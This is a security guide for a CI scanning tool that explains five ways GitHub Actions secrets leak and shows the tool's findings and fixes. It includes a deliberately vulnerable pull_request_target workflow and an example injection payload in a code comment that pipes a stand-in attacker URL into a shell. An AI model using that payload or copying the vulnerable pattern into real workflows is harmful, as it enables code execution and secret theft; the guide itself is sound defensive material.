GitHub Actions secrets: how they leak and how to check your workflows
Last reviewed: 24 November 2026, against SecureCI CLI 1.4.0
GitHub Actions secrets are encrypted at rest and masked in logs. They are not protected from the code a job runs: any step that can see a secret can send it anywhere. In practice they leak in five ways. Fork code runs under a privileged trigger. Untrusted input is expanded into a run: script. A third-party action is compromised or its tag is moved. The GITHUB_TOKEN has more access than the job needs. Or a value derived from a secret is printed without a mask. One command checks a workflow for the first four: secureci validate.
Short answer:
- Privileged triggers: never check out and run a fork’s code under
pull_request_targetorworkflow_run. - Template injection: pass titles, branch names and other outside text through
env:, not${{ }}inrun:. - Third-party actions: pin them to commit SHAs, lock them, and check them against known advisories.
- Token scope: set a read-only
permissions:block and add write scopes per job. - Derived values: mask anything built from a secret with
::add-mask::.
How GitHub Actions secrets work
You can store a secret at three levels. Organisation secrets are shared with the repositories you choose. Repository secrets are available to every workflow in that repository. Environment secrets reach only jobs that name the environment, after its protection rules pass. GitHub describes the three in about secrets.
A workflow reads a secret with ${{ secrets.NAME }}, usually into an env: variable for a step. From then on, the value is ordinary text inside the job. Three details from GitHub’s documentation matter for security:
- Masking is best effort. GitHub redacts secret values printed to the log. It also says that, because a value can be transformed in many ways, this redaction is not guaranteed.
- Forks don’t get secrets under
pull_request. Apart fromGITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository (using secrets). - Other triggers are different.
pull_request_targetandworkflow_runrun in the context of the base repository, with its secrets, even when a fork started them.
So the question is not whether secrets are encrypted. It is which code and which input can reach a job that holds them.
Five ways GitHub Actions secrets leak
Each leak path below comes with the check that finds it. The examples are from one test workflow, pr.yml, with three jobs. The full output of secureci validate on it is in the next section.
1. Fork code under a privileged trigger (a “pwn request”)
Workflows triggered by pull_request_target or workflow_run run with the base repository’s secrets and a read/write GITHUB_TOKEN, even when the pull request came from a fork. That is safe as long as the job only works with the base code. It is not safe when the job checks out the fork’s code and runs it:
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # the fork's code
- run: npm ci && npm test # runs it with your secrets
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
The fork controls package.json, so it controls what npm test does. It can read NPM_TOKEN and any other secret in the job. secureci validate reports this as an error, once per job, at the checkout step. It names the step that runs the code. Since June 2026, actions/checkout also refuses this checkout by default unless the step sets allow-unsafe-pr-checkout: true. That default applies to @v4, @v7, a branch or no version, but not to a commit SHA or a minor or patch version, so the CLI keeps it an error either way and says which case applies.
The fix is to build pull requests under pull_request, which gets no secrets from forks, and keep the privileged trigger for jobs that only touch base code, such as labelling. The details, including label-gated jobs and the # secureci-allow dangerous-trigger: <reason> exception, are in dangerous triggers.
2. Untrusted input in a run: script
GitHub substitutes every ${{ }} expression into a run: script before the shell sees it. If the expression is text an outsider controls, such as a pull request title, that text becomes part of the script:
greet:
runs-on: ubuntu-latest
steps:
# A PR titled `"; curl https://evil.example | sh; echo "` runs that command
- run: echo "Thanks for ${{ github.event.pull_request.title }}"
Under a privileged trigger, the injected command runs next to the job’s secrets and token. secureci validate reports it as an error, with the SARIF rule secureci/injection. The fix is to pass the value through env: and quote the variable, so the shell treats it as data:
- run: echo "Thanks for $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
The check covers titles and bodies of issues, pull requests and comments, head branch names, commit messages, label names and free-text workflow_dispatch inputs. It analyses expressions rather than matching patterns, so contains(github.event.issue.title, 'bug') is not flagged. See template injection checks for the full list.
3. A compromised or moved third-party action
Every action in a job runs with that job’s secrets and token. In the tj-actions/changed-files incident (GHSA-mrrh-fwg8-r2c3), the action’s tags were moved to code that exposed secrets in workflow logs. Every workflow using a tag picked up the new code on its next run.
Two checks cover this. secureci validate and secureci inventory compare the actions a workflow uses with the GitHub Advisory Database. A critical or high advisory is an error. And secureci.lock records the commit each action resolves to, so secureci inventory --check fails when a tag moves. The pin and lock section shows both.
4. An over-broad GITHUB_TOKEN
The GITHUB_TOKEN is a secret too, and every step in the job can use it. Without a permissions: block it gets the repository or organisation default, which on many repositories is read/write on every scope. A leaked write token can push code or change releases.
secureci validate warns when no permissions are declared, when write-all is used, and when a write scope sits at the top level of the workflow. A pipeline contract can turn those warnings into errors. The fixes and the policy are in least-privilege GitHub Actions permissions.
5. A derived value that isn’t masked
Masking replaces the exact secret value. It does not know about values built from it. Here is a job that prints a secret, then its base64 form, then the same base64 form after registering a mask. This is real output of secureci run, which masks values the same way:
env:
API_KEY: ${{ secrets.API_KEY }}
steps:
- run: echo "Using key $API_KEY"
- run: echo "Encoded $(printf '%s' "$API_KEY" | base64)"
- run: |
ENCODED=$(printf '%s' "$API_KEY" | base64)
echo "::add-mask::$ENCODED"
echo "Encoded $ENCODED"
[INFO] Using key ***
[INFO] Encoded czNjcjN0LXZhbHVlLTEyMw==
[INFO] Encoded ***
The second line is the test secret, readable by anyone who decodes it. No static check can tell which values a script derives, so this one is a review rule: register a mask for any token, header or file you build from a secret before you print it or pass it to another step.
Check a repository with secureci validate
The free SecureCI CLI (secureci) runs the checks for leak paths 1 to 4 in one command. Install it with npm install -g @secureci/cli (Node.js 20 or later), or use the standalone binary. This is the real output of CLI 1.4.0 on the three-job pr.yml from the examples above:
$ secureci validate .github/workflows/pr.yml
[INFO] Validating workflow: .github/workflows/pr.yml
[ERROR] Validation failed: .github/workflows/pr.yml
[ERROR] [ERROR] jobs.greet.steps[0].run: ${{ github.event.pull_request.title }} expands untrusted input (github.event.pull_request.title) into the shell script, so a crafted value can run arbitrary commands. Pass it through env: (e.g. env: TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" instead.
[WARN] [WARNING] permissions: No top-level permissions: and job(s) "test", "greet", "changed" declare none, so their GITHUB_TOKEN gets the repository's default permissions (read/write on every scope in many repositories). Add a top-level block such as "permissions: { contents: read }", or declare permissions on each job
[ERROR] [ERROR] jobs.test.steps[0]: Job "test" checks out untrusted code (ref: ${{ github.event.pull_request.head.sha }}) in a workflow triggered by "pull_request_target", then executes it at steps[1] (run:). These triggers run with the repository's secrets and a write token, so a fork can run its own code with them; actions/checkout refuses this checkout by default, so the step fails until someone sets allow-unsafe-pr-checkout: true, which would run the fork's code. Check out the base ref instead, or move the build to an unprivileged pull_request workflow
[ERROR] [ERROR] jobs.changed.steps[0]: tj-actions/[email protected] has a known security advisory: GHSA-mrrh-fwg8-r2c3 (CVE-2025-30066, high): tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs. Affected versions: <= 45.0.7; first patched version: 46.0.1. https://github.com/advisories/GHSA-mrrh-fwg8-r2c3
Three errors and a warning, one for each leak path, and the command exits non-zero. To check every workflow in a repository, pass them all: secureci validate .github/workflows/*.yml.
- On pull requests:
secureci init workflowwrites a workflow that runs the SecureCI GitHub Action on every pull request and uploads a SARIF report to code scanning. See use in CI. - As a rule: a pipeline contract with
forbidden-triggers: [pull_request_target, workflow_run]bans the privileged triggers outright.advisories: fail-on: mediummakes medium advisories fail too. - Across an organisation:
secureci org scan <org>runsvalidateon every repository and saves the JSON results. It clones only.github/.
Third-party actions: pin and lock
The advisory check finds actions that are known to be bad. Pinning and locking protect you before an advisory exists. A tag like @v4 can be moved to different code at any time, and a full commit SHA can’t. secureci pin rewrites each tag to the commit it points at now, and keeps the tag in a comment so Dependabot and Renovate can still offer updates:
- uses: actions/checkout@v4
# becomes
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4
Pinning your own uses: lines does not pin the actions inside a composite action you use. Commit secureci.lock and run secureci inventory --check in CI. It records the commit for every action, including transitive ones, and fails when a tag now resolves to a different commit, or when a repository was deleted and re-created. The step-by-step guide is how to pin GitHub Actions to a commit SHA.
Test workflows locally without exposing secrets
Debugging a workflow by pushing commits is slow. It also tempts people to paste a real token into a terminal. secureci run runs the workflow on your machine, in Docker, Podman or containerd, and handles secrets with care:
# A bare name reads $API_KEY from your environment,
# so the value stays out of the process list and shell history
secureci run .github/workflows/deploy.yml --secret API_KEY
# Or read KEY=value pairs from a file
secureci run .github/workflows/deploy.yml --secret-file .secrets
- Masking: every value from
--secretor--secret-file, and every value a step registers with::add-mask::, is shown as***. That is how the derived-value example above was captured. - File permissions: on Linux and macOS the CLI warns when a secret file is readable by others. Real output:
[WARN] Secret file .secrets is readable by other users (mode 0644). Restrict it with: chmod 600 .secrets. Parse errors name the file and line but never echo the line. - Not on the command line: in container mode, secret values never appear on the container client’s command line. They go in a private env file (mode 0600, deleted as soon as the client exits).
- Composite actions: as on GitHub, composite actions don’t get the
secretscontext. Pass a secret to them as an input.
The full walkthrough is in how to run GitHub Actions locally, and the flags in secret masking.
Prefer short-lived credentials (OIDC)
The safest secret is one you don’t store. For cloud deployments, GitHub’s OpenID Connect support lets a job request a short-lived token from your cloud provider instead of keeping a long-lived key in secrets. The job needs permissions: id-token: write. Grant it on the deploy job only, not at the top level, where secureci validate flags write scopes.
One limit to know: secureci run does not emulate OIDC tokens for id-token: write. Test those steps on GitHub, or pass a test credential with --secret locally.
Limits
- Indirect data is not tracked. An untrusted value written to a step output or to
env:, then expanded as${{ steps.x.outputs.y }}or${{ env.Y }}, is not flagged. Nor is an untrusted ref passed toactions/checkoutthrough a variable. - Only
actions/checkoutis inspected for untrusted checkouts. Agit fetchorgh pr checkoutin arun:step is not. - Remote actions are not looked inside by
validate. Their references are checked against advisories, andsecureci inventoryfollows composite actions and reusable workflows into their own dependencies. - Environment protection is not recognised as a gate on privileged triggers, and jobs that call a reusable workflow are not inspected for them.
- It reads files, not settings. The CLI can’t see which secrets exist, where they are scoped, or your organisation’s default token permissions.
A runtime agent that watches network traffic from the runner covers a different angle. For how that compares, see SecureCI vs StepSecurity.
Check your workflows now
The SecureCI CLI is free and open source (MIT), for public and private repositories. It needs Node.js 20+, or use the standalone binary.
npm install -g @secureci/cli
secureci validate .github/workflows/*.yml
secureci inventory --check
Need to know which of your organisation’s workflows could expose secrets? Request a free supply-chain assessment →
FAQ
Are GitHub Actions secrets secure?
They are encrypted at rest and masked in logs, but they are not protected from code the job runs. Any step, including a third-party action, can read a secret the job is given. Most leaks come from running untrusted code or input in a job that holds secrets.
Can a pull request from a fork read my secrets?
Not under the pull_request trigger: GitHub does not pass secrets, other than GITHUB_TOKEN, to runs triggered from a fork. Under pull_request_target and workflow_run the workflow runs with the base repository’s secrets and a read/write token, so a job that checks out and runs the fork’s code hands it those secrets. secureci validate reports that as an error.
Can GitHub Actions secrets be printed in logs?
The exact value is masked as ***. A changed value is not: base64, a substring or a value built from the secret prints in clear text. Register derived values with echo "::add-mask::$VALUE" before you print or pass them on.
How do I audit workflows for secret exposure?
Run secureci validate on each workflow. It reports fork code run under privileged triggers, untrusted input expanded into run: scripts, over-broad GITHUB_TOKEN permissions and actions with known advisories. Add secureci inventory --check to catch moved tags, and secureci org scan to run validate across every repository in an organisation.
What is the difference between organisation, repository and environment secrets?
Organisation secrets are shared with the repositories you choose. Repository secrets are available to every workflow in one repository. Environment secrets are available only to jobs that reference that environment, so its protection rules, such as required reviewers, apply before the job gets them.